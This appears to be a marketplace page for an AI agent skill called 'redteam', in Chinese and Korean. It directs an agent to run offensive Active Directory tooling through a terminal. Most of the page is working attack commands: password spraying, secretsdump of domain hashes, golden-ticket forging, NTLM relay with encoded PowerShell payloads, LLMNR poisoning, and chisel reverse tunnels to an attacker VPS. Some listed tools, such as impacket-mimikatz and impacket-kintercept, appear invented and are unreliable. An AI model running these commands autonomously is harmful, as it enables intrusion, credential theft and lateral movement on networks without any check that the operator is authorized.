원클릭으로
redteam
RedTeam physical terminal execution skill. ONLY run using run_in_terminal. Use for network scan, lateral movement, etc.
Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
메뉴
RedTeam physical terminal execution skill. ONLY run using run_in_terminal. Use for network scan, lateral movement, etc.
Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
SOC 직업 분류 기준
| name | redteam |
| description | RedTeam physical terminal execution skill. ONLY run using run_in_terminal. Use for network scan, lateral movement, etc. |
防阻塞与交互死锁:
防上下文过载 (Context Overflow):
渐进式探测法(黄金工作流): gogo (存活/端口/协议识别) httpx (Web 指纹/标题/状态码) nuclei (精确漏洞验证) / ffuf (路径爆破)
| 类型 | 目录位置 | 说明 |
|---|---|---|
| 核心工具二进制/脚本 | ./tools/ | gogo/fscan/httpx/nuclei/ffuf/nxc/Inveigh 等 |
| Impacket 脚本集合 | ./tools/impacket/ | getST.py、smbclient.py、wmiexec.py、psexec.py 等 |
| 安装与分析脚本 | ./scripts/ | install_tools.py、proxy_setup.py、bloodhound_analysis.py |
| 字典与爆破词库 | ./wordlists/ | 用户名、密码、子域、目录爆破字典 |
| 帮助与参数说明 | ./tools/*_help.txt | 本地离线参数参考 |
| 扫描输出(建议) | ./results/ | 建议统一存放扫描结果与提取报告 |
约定:优先使用相对路径(如
./tools/xx.exe),避免写死绝对路径导致迁移失败。
二进制路径: ./tools/gogo.exe
核心参数(来自 gogo -h):
实战指令:
gogo -i 10.10.26.107 -p top2,win,db -v
二进制路径: ./tools/fscan.exe
核心参数(来自 fscan -h):
实战指令:
fscan -h 10.10.26.0/24 -np -nobr -silent -nocolor -o fscan_result.txt
Select-String -Path fscan_result.txt -Pattern "[+]|Vulnerable|MS17|Weblogic|Shiro"
fscan -h 10.10.26.107 -np -nobr -pocname weblogic
二进制路径: ./tools/httpx.exe
核心参数(来自 httpx -h):
实战指令:
httpx -u http://10.10.26.107:8080 -sc -title -server -td -ip -silent
httpx -l urls.txt -sc -title -server -td -silent -fc 404 -o httpx_result.txt
注意:-server(不是 -web-server);-td(不是 -tech-detect 短形);-sc(不是 -status-code)。两种都支持但短参更稳。
二进制路径: ./tools/nuclei.exe
核心参数(来自 nuclei -h):
实战指令:
nuclei -u http://10.10.26.107:8080 -as -s high,critical -nc
nuclei -u http://10.10.26.107:8080 -t technologies/ -nc
nuclei -u http://10.10.26.107:8080 -tags cve,rce -s high,critical -nc -o nuclei_result.txt
nuclei -l urls.txt -tags shiro,weblogic,log4j -s critical -nc -o nuclei_result.txt
注意:
二进制路径: ./tools/ffuf.exe
核心参数(来自 ffuf -h):
实战指令:
ffuf -u http://10.10.26.107:8080/FUZZ -w ./wordlists/web-content/common.txt -mc 200,301,302 -s
ffuf -u http://10.10.26.107:8080/FUZZ -w ./wordlists/web-content/common.txt -e .php,.bak,.zip,.sql -mc 200 -s
ffuf -u http://target.com/FUZZ -w dict.txt -mc 200,301 -fs 1234 -s
ffuf -u http://10.10.26.107/ -H "Host: FUZZ.corp.local" -w subdomains.txt -mc 200 -s
二进制路径: ./tools/dnsx.exe
实战指令:
dnsx -d corp.local -w subdomains.txt -resp -silent
dnsx -l domains.txt -resp -a -silent -o resolved.txt
二进制路径: ./tools/kerbrute.exe
子命令:
| 子命令 | 用途 |
|---|---|
userenum | 枚举域内有效用户名(无需凭据,利用 Kerberos AS-REQ) |
passwordspray | 单密码喷洒用户列表(避免锁定) |
bruteuser | 对单个用户暴力破解密码 |
bruteforce | 用户名:密码组合字典爆破 |
核心参数:
-d / --domain <domain> : 目标域名(必填)--dc <ip> : 域控 IP(不填则 DNS 自动解析)-t <n> : 并发线程数(默认 10)-o <file> : 输出有效结果到文件-v : 详细输出(显示失败)--downgrade : 强制降级到 RC4(绕过部分检测)--safe : 安全模式,跳过已锁定账户实战指令:
kerbrute userenum -d corp.local --dc 192.168.1.10 users.txt -o valid_users.txt
kerbrute passwordspray -d corp.local --dc 192.168.1.10 valid_users.txt 'Password123!' --safe -o spray_result.txt
kerbrute bruteuser -d corp.local --dc 192.168.1.10 administrator passwords.txt
kerbrute bruteforce -d corp.local --dc 192.168.1.10 combos.txt -t 20
注意:
VALID USERNAME 标注有效用户,可直接作为后续 impacket / nxc 的用户列表。Impacket / nxc / bloodhound-python 已由 scripts/install_tools.py 统一安装。 Agent 直接按以下规则调用,无需验证安装状态。
Windows 用户注意事项:
- 如果
impacket-*命令无法识别,请将 impacket 安装目录添加到系统 PATH- 或者使用
python -m impacket.examples.<工具名>方式调用- impacket 默认安装在 Python 目录的
Scripts文件夹中Impacket Windows 调用规则(优先级):
impacket-<工具名>入口点(推荐):impacket-wmiexec- fallback:
python -m impacket.examples.<工具名>
脚本名 (.py) Windows 调用命令 wmiexec.py impacket-wmiexecpsexec.py impacket-psexecsecretsdump.py impacket-secretsdumpGetNPUsers.py impacket-GetNPUsersGetUserSPNs.py impacket-GetUserSPNsgetST.py impacket-getSTntlmrelayx.py impacket-ntlmrelayx所有 impacket 工具均为非交互式,密码/哈希必须内联传参。
支持协议: smb / ssh / winrm / wmi / mssql / rdp / vnc / ftp / ldap / nfs
nxc smb 10.10.26.107 -u Administrator -p 'Admin@123' --shares
nxc smb 192.168.1.10 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:NTHASH
nxc winrm 10.10.26.107 -u Administrator -p 'Admin@123' -x 'whoami /all'
nxc smb 10.10.26.107 -u user -p pass --users
nxc smb 192.168.1.0/24 -u Administrator -p 'Admin@123' --local-auth
impacket-wmiexec domain/Administrator:password@10.10.26.107 'whoami'
impacket-wmiexec -hashes :NTHASH domain/Administrator@10.10.26.107 'ipconfig /all'
impacket-psexec domain/Administrator:password@10.10.26.107 cmd.exe
python -m impacket.examples.wmiexec domain/Administrator:password@10.10.26.107 'whoami'
impacket-secretsdump corp.local/Administrator:password@192.168.1.dc -just-dc
impacket-secretsdump -hashes :NTHASH corp.local/Administrator@192.168.1.dc -just-dc
impacket-secretsdump corp.local/Administrator:password@192.168.1.dc -just-dc-user krbtgt
impacket-secretsdump Administrator:password@10.10.26.107
python -m impacket.examples.secretsdump corp.local/Administrator:password@192.168.1.dc -just-dc
二进制路径: Python 模块(pip install bloodhound)
适用于从 Linux/Mac 机器或没有 Windows 域环境的机器上收集 AD 数据。
bloodhound-python -d corp.local -u lowpriv_user -p password -dc 192.168.1.10 -c All --zip
bloodhound-python -d corp.local -u user -p pass -dc 192.168.1.10 -c Session,ACL
bloodhound-python -d corp.local -u user -p pass -dc 192.168.1.10 -c Group,Trusts
bloodhound-python -d corp.local -u user -hashes :NTHASH -dc 192.168.1.10 -c All --zip
二进制路径: ./tools/sharphound/SharpHound.exe
SharpHound 是 BloodHound 的官方 Windows 收集器,性能更优,支持更多 Windows 特有数据收集。 适用于已获得 Windows 主机权限的场景,可直接在域内机器上运行。
核心参数:
| 参数 | 说明 |
|---|---|
-c <CollectionMethod> | 收集方法:Default / All / Session / SessionLoop / LoggedOn / ACL / ObjectProps / GPOAnalytic / RDP / DCOM / LocalAdmin / PSRemote / Carstein / Trusts / Default / DCOnly |
-d <Domain> | 指定目标域(如 corp.local) |
-dc <DomainController> | 指定域控(可多个,逗号分隔) |
-u / -username <user> | 认证用户名 |
-p / -password <pass> | 认证密码 |
-Hashes <LMHASH:NTHASH> | NTLM 哈希认证 |
-k / -kerberos | 使用 Kerberos 认证(支持票据) |
-o <outputfolder> | 输出目录(默认当前目录) |
--zipfilename <name> | 指定 ZIP 输出文件名 |
-t <timeout> | 每个请求超时秒数(默认 60) |
--throttle | 启用节流模式(减少网络流量) |
--randomizefilenames | 随机化输出文件名 |
--skipRegistryCheck | 跳过注册表检查 |
--collectAllProperties | 收集所有对象属性(更慢但更全) |
--dns Servers=<ip1,ip2> | 指定 DNS 服务器 |
--ldapfilter <filter> | 自定义 LDAP 过滤条件 |
-v | 详细输出 |
收集方法详解:
| 收集方法 | 收集内容 | 适用场景 |
|---|---|---|
Default | 组、成员、本地组成员、会话、ACL、对象属性、信任、GPO | 标准推荐 |
All | 所有收集类型 | 最全面渗透测试 |
Session | 用户-计算机会话关系 | 找活跃用户路径 |
SessionLoop | 循环收集会话(配合长期监听) | 捕获登录会话 |
LoggedOn | 已登录用户(需管理员权限) | 找高价值目标 |
ACL | ACL/ACE 权限分析 | 找权限滥用路径 |
ObjectProps | 对象属性扩展 | 找密码属性 |
GPOAnalytic | GPO 有效权限分析 | 找 GPO 攻击路径 |
RDP | RDP 会话关系 | 找远程桌面路径 |
DCOM | DCOM 对象信息 | 找 COM 滥用路径 |
LocalAdmin | 本地管理员 | 找本机权限 |
PSRemote | PSRemote/WinRM 会话 | 找远程管理路径 |
Trusts | 域信任关系 | 跨域攻击分析 |
DCOnly | 只连接 DC(不扫描客户端) | DC 数据快速收集 |
实战指令:
SharpHound.exe -c Default -d corp.local
SharpHound.exe -c All -d corp.local
SharpHound.exe -c Session -d corp.local
SharpHound.exe -c Default -d corp.local -u lowpriv_user -p password
SharpHound.exe -c Default -d corp.local -u Administrator -Hashes :NTHASH
SharpHound.exe -c Default -d corp.local -k
SharpHound.exe -c Default -d corp.local -dc 192.168.1.10 -o "C:\Windows\Temp\BHDATA"
SharpHound.exe -c All -d corp.local --zipfilename bloodhound_data
SharpHound.exe -c Default -d corp.local -dc DC01.corp.local,DC02.corp.local
SharpHound.exe -c Default -d corp.local --dns 8.8.8.8
注意事项:
*.json 文件和压缩的 .zip 文件SessionLoop 模式-c All 会触发大量 LDAP 查询,可能被安全设备检测与 bloodhound-python 对比:
| 特性 | SharpHound (Windows) | bloodhound-python (跨平台) |
|---|---|---|
| 平台 | Windows | Linux/macOS/Windows |
| 性能 | 更优 | 一般 |
| LocalAdmin 收集 | 支持 | 不支持 |
| LoggedOn 收集 | 支持 | 不支持 |
| GPOAnalytic | 支持 | 不支持 |
| 运行位置 | 需 Windows 机器 | 任意平台 |
Python 包: pip install pywerview
PowerView.py 的 Python 实现,无需 PowerShell,直接在任意平台枚举域信息。 是域渗透中最重要的侦查工具之一。
子命令:
| 子命令 | 说明 |
|---|---|
get-domain-user | 枚举域用户 |
get-domain-computer | 枚举域计算机 |
get-domain-group | 枚举域组 |
get-domain-group-member | 获取组成员 |
get-domain-share | 枚举共享 |
get-domain-gpo | 枚举 GPO |
get-domain-trust | 获取域信任 |
get-net-localgroup | 获取本地组 |
get-net-session | 获取会话 |
get-net-loggedon | 获取登录用户 |
find-local-admin | 寻找本地管理员 |
实战指令:
pywerview.py get-domain-user -d corp.local --dc-ip 192.168.1.10 -u user -p pass
pywerview.py get-domain-computer -d corp.local --dc-ip 192.168.1.10 -u user -p pass
pywerview.py get-domain-group -d corp.local --dc-ip 192.168.1.10 -u user -p pass
pywerview.py get-domain-group-member -d corp.local --dc-ip 192.168.1.10 -u user -p pass --group-name "Domain Admins"
pywerview.py get-domain-share -d corp.local --dc-ip 192.168.1.10 -u user -p pass
pywerview.py find-local-admin -d corp.local --dc-ip 192.168.1.10 -u user -p pass
Python 包: pip install ldapdomaindump
将域信息转储为 HTML/JSON/CSV 格式,便于分析和报告生成。
实战指令:
ldapdomaindump ldap://192.168.1.10 -u 'corp\user' -p 'password' -o ./ldapdump
ldapdomaindump ldap://192.168.1.10 -u 'corp\user' -p 'password' -o ./ldapdump --json
ldapdomaindump ldap://192.168.1.10 -u 'corp\user' -p 'password' -o ./ldapdump -n
输出文件:
| 文件 | 说明 |
|---|---|
| domain_users.html | 域用户列表 |
| domain_computers.html | 域计算机列表 |
| domain_groups.html | 域组列表 |
| domain_trusts.html | 域信任关系 |
| domain_policy.html | 域策略 |
二进制路径: ./tools/inveigh/Inveigh.exe
Inveigh 是 Windows 原生 MITM/凭据捕获工具,可替代 Responder 在 Windows 环境下的主要能力。
核心参数:
| 参数 | 说明 |
|---|---|
-sniffer y/n | 是否启用抓包模式(需管理员) |
-inspect y | 被动观察模式(不投毒) |
-smb y/n | SMB 监听/抓包(445 常冲突) |
-llmnr y | 启用 LLMNR |
-nbns y | 启用 NBNS |
-mdns y | 启用 mDNS |
-dns y | 启用 DNS 响应 |
-fileoutput y | 文件落盘 |
-filedirectory <path> | 输出目录 |
-runtime <min> | 运行时长(分钟) |
本仓库快速启动:
# 监听模式(推荐默认)
powershell -ExecutionPolicy Bypass -File .\scripts\start_inveigh.ps1
# 被动观察模式(30分钟自动结束)
powershell -ExecutionPolicy Bypass -File .\scripts\start_inveigh_inspect.ps1
直接启动示例:
.\tools\inveigh\Inveigh.exe -sniffer n -smb n -llmnr y -nbns y -mdns y -dns y -fileoutput y -filedirectory .\results\inveigh -console 5
稳定复现建议:
-smb n。-inspect y 验证广播域流量,再切到投毒模式。-runtime 与文件输出,避免会话阻塞。用于快速创建/修改 ADIDNS 记录,替代手工 LDAP 写入。 适合 DNS 记录投毒、委派链路准备和复现场景自动化。
入口方式:
dnstool.py(常见于 krbrelayx / impacket 生态)python -m dnstool(按实际安装方式)常用操作示例:
# 添加 A 记录
dnstool.py -u 'corp.local\\user' -p 'Password123!' -r app01.corp.local -d 10.10.10.66 --action add 192.168.1.10
# 修改记录
dnstool.py -u 'corp.local\\user' -p 'Password123!' -r app01.corp.local -d 10.10.10.77 --action modify 192.168.1.10
# 删除记录
dnstool.py -u 'corp.local\\user' -p 'Password123!' -r app01.corp.local --action remove 192.168.1.10
注意事项:
nslookup/Resolve-DnsName 二次验证解析生效。下列脚本是最终拿票据、横向执行与读取目标内容的核心组合:
getST.pysmbclient.pywmiexec.pypsexec.py最小链路示例:
# 1) getST: 申请/伪造服务票据
impacket-getST -spn cifs/target.corp.local -impersonate Administrator -dc-ip 192.168.1.10 corp.local/machine_account:password
# 2) smbclient: 用票据或凭据访问共享并读取文件
impacket-smbclient corp.local/Administrator:password@target.corp.local -share C$ 'get Users\\Public\\flag.txt'
# 3) wmiexec: 无文件执行命令回显
impacket-wmiexec corp.local/Administrator:password@target.corp.local 'type C:\\Users\\Public\\flag.txt'
# 4) psexec: 服务方式执行(需要更高噪声容忍)
impacket-psexec corp.local/Administrator:password@target.corp.local cmd.exe
用于快速确认 gMSA、委派配置、DNS 区域 ACL 是否满足攻击前提。
安装:pip install bloodyAD
示例:
# 枚举目标对象属性(含委派相关字段)
bloodyAD --host 192.168.1.10 -d corp.local -u user -p 'Password123!' get object 'CN=APP01,OU=Servers,DC=corp,DC=local'
# 查询用户对象(用于验证 gMSA/委派变更)
bloodyAD --host 192.168.1.10 -d corp.local -u user -p 'Password123!' get object 'CN=gmsa_svc,CN=Managed Service Accounts,DC=corp,DC=local'
ldapsearch:快速点查关键属性(委派、SPN、ACL 相关字段)。ldapdomaindump:全量导出做离线核验与报告。示例:
# impacket-ldapsearch 快速核验委派字段
impacket-ldapsearch corp.local/user:pass -dc-hosts=192.168.1.10 -query "(servicePrincipalName=*)"
# ldapdomaindump 导出域数据进行 ACL/DNS 关联分析
ldapdomaindump ldap://192.168.1.10 -u 'corp\\user' -p 'password' -o ./ldapdump
impacket-GetNPUsers corp.local/user:pass -dc-ip 192.168.1.10 -request -format hashcat -outputfile asrep_hashes.txt
impacket-GetNPUsers corp.local/ -no-pass -usersfile users.txt -dc-ip 192.168.1.10 -format hashcat
impacket-GetUserSPNs corp.local/user:pass -dc-ip 192.168.1.10 -request -outputfile kerb_hashes.txt
python -m impacket.examples.GetNPUsers corp.local/user:pass -dc-ip 192.168.1.10 -request -format hashcat
impacket-getST -spn cifs/target.corp.local -impersonate Administrator -dc-ip 192.168.1.10 corp.local/machine_account:password
impacket-getST -spn cifs/target.corp.local -impersonate Administrator -hashes :NTHASH -dc-ip 192.168.1.10 corp.local/machine_account
$env:KRB5CCNAME = "Administrator.ccache"
[Environment]::SetEnvironmentVariable("KRB5CCNAME", "Administrator.ccache")
python -m impacket.examples.getST -spn cifs/target.corp.local -impersonate Administrator -dc-ip 192.168.1.10 corp.local/machine_account:password
⚠️ 此工具是长期监听型!必须使用 终端后台运行 或 run_in_terminal isBackground=true 后台运行并设置超时时间。 直接调用方式(Windows 入口点):
impacket-ntlmrelayx -t ldap://192.168.1.dc --smb2support
impacket-ntlmrelayx -t smb://192.168.1.10 --smb2support -c "whoami > C:\result.txt"
impacket-ntlmrelayx -tf targets.txt --smb2support -c "powershell -enc BASE64_PAYLOAD"
python -m impacket.examples.ntlmrelayx -t ldap://192.168.1.dc --smb2support
注意:终端后台运行 已封装好后台执行逻辑,优先使用它而非手动 run_in_terminal。
终端工具: impacket-smbclient
入口点: impacket-smbclient 或 smbclient.py
功能: 通过 SMB 协议连接远程共享,执行交互式命令或单条命令
参数说明:
| 参数 | 说明 |
|---|---|
| auth_uri | 认证信息,格式 domain/username:password@target |
| share | 目标共享名称 (默认 C$) |
| cmd | 要执行的 SMB 命令 (如 ls/download file.txt/upload payload.exe) |
| args | 附加参数 (如 -hashes :NTHASH) |
使用示例:
# 连接 SMB 共享并列出文件
impacket-smbclient corp.local/Administrator:password@10.10.26.107 -share C$
# 下载文件
impacket-smbclient corp.local/Administrator:password@10.10.26.107 -share C$ 'get secret.txt'
# 使用哈希连接
impacket-smbclient -hashes :NTHASH corp.local/Administrator@10.10.26.107 -share C$
终端工具: impacket-ticketer
入口点: impacket-ticketer 或 ticketer.py
功能: 伪造 Golden Ticket / Silver Ticket
参数说明:
| 参数 | 说明 |
|---|---|
| domain | 域名 (如 corp.local) |
| user | 要伪造的用户名 |
| hash | krbtgt 的 LMHASH:NTHASH |
| sid | 域的 SID |
| aes_key | AES key (可选) |
| extra_sids | 额外 SID (如 Enterprise Admins) |
| lifetime | 票据有效期 (默认 10 小时) |
使用示例:
# 伪造 Administrator Golden Ticket
impacket-ticketer -domain corp.local -domain-sid S-1-5-21-xxx Administrator -hashes :NTHASH -duration 10
# 伪造服务 Silver Ticket
impacket-ticketer -domain corp.local -domain-sid S-1-5-21-xxx -spn cifs/target.corp.local Administrator -hashes :NTHASH
# 添加 Enterprise Admins 权限
impacket-ticketer -domain corp.local -domain-sid S-1-5-21-xxx -extra-sid S-1-5-21-xxx-519 Administrator -hashes :NTHASH
终端工具: impacket-psexec_exec
入口点: impacket-psexec 或 psexec.py
功能: 远程创建服务执行程序
使用示例:
# 基本横向
impacket-psexec corp.local/Administrator:password@10.10.26.107 cmd.exe
# 使用哈希
impacket-psexec -hashes :NTHASH corp.local/Administrator@10.10.26.107 'whoami'
终端工具: impacket-smbexec
入口点: impacket-smbexec 或 smbexec.py
功能: 通过 SMB 共享执行命令,不创建服务(更隐蔽)
使用示例:
# 执行命令
impacket-smbexec corp.local/Administrator:password@10.10.26.107 -c 'whoami'
# 无输出模式
impacket-smbexec -hashes :NTHASH corp.local/Administrator@10.10.26.107
终端工具: impacket-dcomexec
入口点: impacket-dcomexec 或 dcomexec.py
功能: 通过 DCOM 接口执行命令 (绕过 SMB 限制)
使用示例:
# 使用 MMC20 Application DCOM
impacket-dcomexec corp.local/Administrator:password@10.10.26.107 'whoami'
# 指定 ShellWindows
impacket-dcomexec -object ShellWindows corp.local/Administrator:password@10.10.26.107
终端工具: impacket-rpcdump
入口点: impacket-rpcdump 或 rpcdump.py
功能: 枚举 RPC 端点和服务
使用示例:
# 枚举所有 RPC 端点
impacket-rpcdump target@192.168.1.10
# 过滤特定管道
impacket-rpcdump target@192.168.1.10 -pipes spoolss,eventlog
终端工具: impacket-mssqlclient
入口点: impacket-mssqlclient 或 mssqlclient.py
功能: 连接 MS SQL Server 执行 SQL 命令或 xp_cmdshell
使用示例:
# 连接并执行 SQL
impacket-mssqlclient corp.local/user:password@10.10.26.107 -db master 'SELECT @@version'
# 启用 xp_cmdshell
impacket-mssqlclient corp.local/user:password@10.10.26.107 'EXEC sp_configure "xp_cmdshell", 1; RECONFIGURE;'
终端工具: impacket-goldenPac
入口点: impacket-goldenPac 或 goldenPac.py
功能: 使用 Golden Ticket 维持目标机器访问
使用示例:
# Golden Ticket 横向
impacket-goldenPac corp.local/user:pass@target -dc-ip 192.168.1.10
# 指定 krbtgt 哈希
impacket-goldenPac -hashes :NTHASH corp.local/user@target -dc-ip 192.168.1.10
终端工具: impacket-netview
入口点: impacket-netview 或 netview.py
功能: 枚举域内主机、共享、会话和登录用户
使用示例:
# 获取所有会话
impacket-netview corp.local/Administrator:password -target-file targets.txt -show-sessions
# 获取登录用户
impacket-netview -hashes :NTHASH corp.local/Administrator@dc -show-loggedin
终端工具: impacket-lookupsid
入口点: impacket-lookupsid 或 lookupsid.py
功能: 通过 LSARPC 枚举域用户 SID
使用示例:
# 枚举用户 SID
impacket-lookupsid corp.local/Administrator:password@192.168.1.10
# 匿名枚举
impacket-lookupsid target@192.168.1.10 -domain corp.local
终端工具: impacket-ldapsearch
入口点: impacket-ldapsearch 或 ldapsearch.py
功能: 查询 LDAP 目录获取域信息
使用示例:
# 枚举所有用户
impacket-ldapsearch corp.local/user:pass -dc-hosts=192.168.1.10 -query "(objectClass=user)"
# 查找域管
impacket-ldapsearch corp.local/user:pass -dc-hosts=192.168.1.10 -query "(memberOf=*Domain Admins*)"
终端工具: impacket-services
入口点: impacket-services 或 services.py
功能: 枚举、启动、停止、创建 Windows 服务
使用示例:
# 查询服务
impacket-services corp.local/Administrator:password@target -action query
# 启动服务
impacket-services -hashes :NTHASH corp.local/Administrator@target -action start -service-name VulnService
终端工具: impacket-nfs_mount
入口点: impacket-nfs_mount 或 nfs_mount.py
功能: 挂载远程 NFS 共享
使用示例:
# 挂载 NFS 共享
impacket-nfs_mount 192.168.1.100 -mount=/share
# 指定挂载点
impacket-nfs_mount 192.168.1.100 -o mount=/share,dest=/mnt/nfs
终端工具: impacket-sniff
入口点: impacket-sniffer 或 sniffer.py
功能: 抓包分析网络流量
使用示例:
# 抓取流量
impacket-sniffer -i eth0 -c 100 -o capture.pcap
# 过滤特定流量
impacket-sniffer -i eth0 -filter "tcp port 445" -o capture.pcap
终端工具: impacket-smbrelayx
入口点: impacket-smbrelayx 或 smbrelayx.py
功能: SMB 中继攻击
使用示例:
# 监听并中继
impacket-smbrelayx -t smb://target -mode server -e "whoami"
# 指定目标列表
impacket-smbrelayx -tf targets.txt --smb2support
终端工具: impacket-mimikatz
入口点: impacket-mimikatz 或 mimikatz.py
功能: LSASS/SAM 凭据提取
使用示例:
# 导出所有凭据
impacket-mimikatz corp.local/Administrator:password@target -dump all
# 只导出 sekurlsa
impacket-mimikatz -hashes :NTHASH corp.local/Administrator@target -dump sekurlsa
终端工具: impacket-kintercept
入口点: impacket-kintercept 或 kintercept.py
功能: Kerberos 票据枚举和操作
使用示例:
# 读取票据
impacket-kintercept target@corp.local -mode read
# 请求票据
impacket-kintercept corp.local/user:pass@target -mode request -query cifs/
终端工具: impacket-opdump
入口点: impacket-opdump 或 opdump.py
功能: 绑定 RPC 协议端点进行探测
使用示例:
# 基本探测
impacket-opdump 192.168.1.10
# 指定协议
impacket-opdump 192.168.1.10 -protocol ldap
终端工具: impacket-registry_read
入口点: impacket-registry_read 或 registry_read.py
功能: 读取远程注册表
使用示例:
# 读取服务列表
impacket-registry_read corp.local/Administrator:password@target -HiveName HKLM -SubKey 'SYSTEM\\CurrentControlSet\\Services'
终端工具: impacket-esentutlparse
入口点: impacket-esentutl 或 esentutl.py
功能: 解析 ESE 数据库 (Exchange/DHCP/索引)
使用示例:
# 解析数据库
impacket-esentutl database.edb -o output_dir
终端工具: impacket-misc
功能: 执行未单独封装的 impacket 工具
使用示例:
# 执行 karmaSMB
run python -m impacket.examples...
# 执行 getArch
run python -m impacket.examples...
# 执行 ntfs-read
run python -m impacket.examples...
脚本路径: .\scripts\bloodhound_analysis.py
SharpHound/bloodhound-python 只负责收集数据,此工具负责分析数据、生成攻击路径报告。 AI 可以直接调用此工具,获得类似 BloodHound GUI 的分析结果!
分析方法:
分析报告内容:
| 报告章节 | 分析内容 |
|---|---|
| 环境概览 | 域/用户/计算机/组数量统计 |
| 高价值目标 | Domain Admins、Enterprise Admins 等特权账户 |
| 会话分析 | 用户-计算机会话映射,找活跃用户 |
| 本地管理员 | 哪些用户是哪些机器的本地管理员 |
| 组关系 | 特权组成员关系分析 |
| ACL 分析 | 危险权限(WriteDacl/WriteOwner 等) |
| 域信任 | 跨域信任关系和攻击面 |
| GPO 分析 | 组策略对象分析 |
| 远程会话 | PSRemote/RDP 会话关系 |
| 攻击路径 | Kerberoast/AS-REP Roastable 发现 |
完整工作流示例:
SharpHound.exe -c All -d corp.local -o "./results/bh_collect"
脚本路径: .\scripts\proxy_setup.py
在获得内网主机权限后,需要搭建代理访问其他网段时使用。AI 会自动生成上传命令和执行指令!
支持的代理工具:
| 工具 | 说明 | 适用场景 |
|---|---|---|
| chisel | 高性能 HTTP over TCP 隧道(推荐) | 端口转发、快速上线 |
| nc | 传统 Netcat 反向 shell | 简单连接、快速上线 |
| powershell | PowerShell 反向 shell | 无工具上传、绕过限制 |
终端工具: impacket-proxy_setup
完整工作流示例:
impacket-proxy_setup( tool="chisel", target_ip="1.2.3.4", # 攻击者 VPS IP target_port=8080, # 攻击者监听端口 listen_port=8080, # chisel 客户端监听端口 os_type="windows" )
代理搭建后访问内网:
# 通过代理访问 10.10.10.0/24 网段
# 方法1: proxychains
proxychains4 nxc smb 10.10.10.50 -u Administrator -p 'Pass123!'
# 方法2: chisel SOCKS5 代理
# 攻击者设置: chisel server --port 8080 --socks5
# 目标设置: chisel client 1.2.3.4:8080 R:1080:socks
# 然后配置浏览器/SocksCap 使用 127.0.0.1:1080
终端工具: upload_and_exec
将文件上传到目标机器并可选执行。配合代理搭建使用!
参数说明:
| 参数 | 说明 |
|---|---|
| target | 目标 IP |
| username | 认证用户名 |
| password | 认证密码 |
| local_file | 本地文件路径 |
| remote_path | 目标保存路径 |
| exec_command | 上传文件使用 scp 或终端 base64 echo 方式,再远程执行 |
使用示例:
upload_and_exec( target="192.168.1.100", username="Administrator", password="Pass123!", local_file="./tools/chisel.exe", remote_path="C:\Windows\Temp\chisel.exe", exec_command="C:\Windows\Temp\chisel.exe client 1.2.3.4:8080 R:8080" )